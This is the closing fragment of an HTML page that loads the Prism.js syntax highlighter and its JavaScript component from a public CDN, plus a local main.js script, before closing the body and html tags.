<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.25.0/prism.min.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.25.0/components/prism-javascript.min.js"></script>
|
||||
<script src="/static/js/main.js"></script>
|
||||
</body>
|
||||
</html>
|